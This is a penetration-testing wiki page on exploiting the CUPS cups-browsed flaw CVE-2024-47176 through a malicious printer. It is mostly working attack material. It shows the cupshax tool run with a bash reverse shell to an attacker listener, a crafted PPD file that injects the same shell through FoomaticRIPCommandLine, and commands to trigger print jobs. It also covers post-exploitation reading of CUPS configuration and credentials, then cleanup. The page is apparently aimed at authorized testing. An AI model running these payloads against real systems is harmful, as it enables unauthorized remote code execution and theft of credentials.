# CUPS Malicious Printer RCE

- **URL:** https://hackindex.io/services/ipp-cups/exploitation/cups-malicious-printer-rce
- **Path:** IPP / CUPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ipp-cups/exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-05-15

The CVE-2024-47176 attack chain works by triggering cups-browsed to add a malicious printer (one hosted by the attacker) to the CUPS configuration. The malicious printer advertisement contains a crafted PPD (PostScript Printer Description) file with a command injection payload in the `FoomaticRIPCommandLine` field. When any print job is sent to this printer, CUPS processes the PPD and executes the injected command as the `lp` user. Confirm all prerequisites through [CVE-2024-47176 testing](https://hackindex.io/services/ipp-cups/vulnerability-discovery/cups-rce-cve-2024-47176) before running the exploit.

- Method 1: cupshax Automated Exploit
- Method 2: Manual Chain
- Reverse Shell and Privilege Context
- Clean Up the Malicious Printer

## Method 1: cupshax Automated Exploit

cupshax automates the full chain: starts a malicious IPP server, sends the UDP trigger, waits for cups-browsed to connect, and serves the poisoned PPD:

```bash
git clone https://github.com/RickdeJager/cupshax && cd cupshax
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
```

```bash
nc -lvnp $LPORT &
python3 cupshax.py --target $TARGET_IP --attacker-ip $LHOST --command "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# [*] Sending UDP trigger to 10.10.10.50:631
# [*] cups-browsed connected back
# [*] Serving malicious IPP printer: CUPS-Printer-$LHOST
# [*] Waiting for print job trigger...
# [*] Command injected: check your listener
```

After the malicious printer is registered on the target, a print job must be triggered to execute the payload. If no print job occurs automatically within a few minutes, trigger one manually:

```bash
# Find the registered malicious printer name
curl -sk http://$TARGET_IP:631/printers/ | grep -oE 'href="/printers/[^"]+"'
# href="/printers/CUPS-Printer-10.10.14.5"
```

```bash
# Trigger a print job to the malicious printer
echo 'trigger' | lp -h $TARGET_IP:631 -d 'CUPS-Printer-10.10.14.5'
# request id is CUPS-Printer-10.10.14.5-1 (1 file(s))
```

## Method 2: Manual Chain

When cupshax is unavailable, build the chain manually. First create the malicious PPD with command injection:

```
*PPD-Adobe: "4.3"
*FormatVersion: "4.3"
*FileVersion: "1.0"
*PCFileName: "malicious.ppd"
*Manufacturer: "HackIndex"
*ModelName: "Malicious Printer"
*ShortNickName: "Malicious Printer"
*NickName: "Malicious Printer"
*PSVersion: "(3010.000) 0"
*LanguageLevel: "3"
*ColorDevice: False
*DefaultColorSpace: Gray
*FileSystem: False
*Throughput: "1"
*LandscapeOrientation: Plus90
*FoomaticRIPCommandLine: "bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'"
*cupsFilter: "application/vnd.cups-postscript 0 foomatic-rip"
```

```bash
# Start a minimal Python IPP server serving the malicious PPD
python3 -c "
import socket, threading
# Minimal IPP server: use cupshax for production use
print('Use cupshax for reliable manual exploitation')
"
```

## Reverse Shell and Privilege Context

The shell executes as the `lp` user: the CUPS print spooler account. Check what privileges this account has:

```bash
id && sudo -l 2>/dev/null
# uid=7(lp) gid=7(lp) groups=7(lp)
# Sorry, user lp may not run sudo.
```

```bash
# Check for CUPS config and credentials readable by lp
cat /etc/cups/cupsd.conf 2>/dev/null
ls -la /etc/cups/ 2>/dev/null
```

The `lp` account has read access to CUPS configuration files including any stored credentials and the SSL/TLS certificates used by CUPS. Check for credential files, SSH keys in home directories, and SUID binaries accessible from this account for privilege escalation paths.

## Clean Up the Malicious Printer

Remove the malicious printer from CUPS after obtaining the shell:

```bash
# Remove via CUPS admin web interface
curl -sk -u root: http://$TARGET_IP:631/admin/ \
  -X POST -d 'op=delete-printer&printer_name=CUPS-Printer-10.10.14.5&confirm=Delete+Printer'
```

> [!CAUTION]
> Document the exact printer name added and remove it before engagement close. The malicious printer persists in CUPS configuration across reboots until explicitly deleted.

## References

- [cupshax](https://github.com/RickdeJager/cupshax) - Automated CVE-2024-47176 exploitation tool
- [Simone Margaritelli: Attacking UNIX systems via CUPS](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/) - Original disclosure with full PPD injection and chain details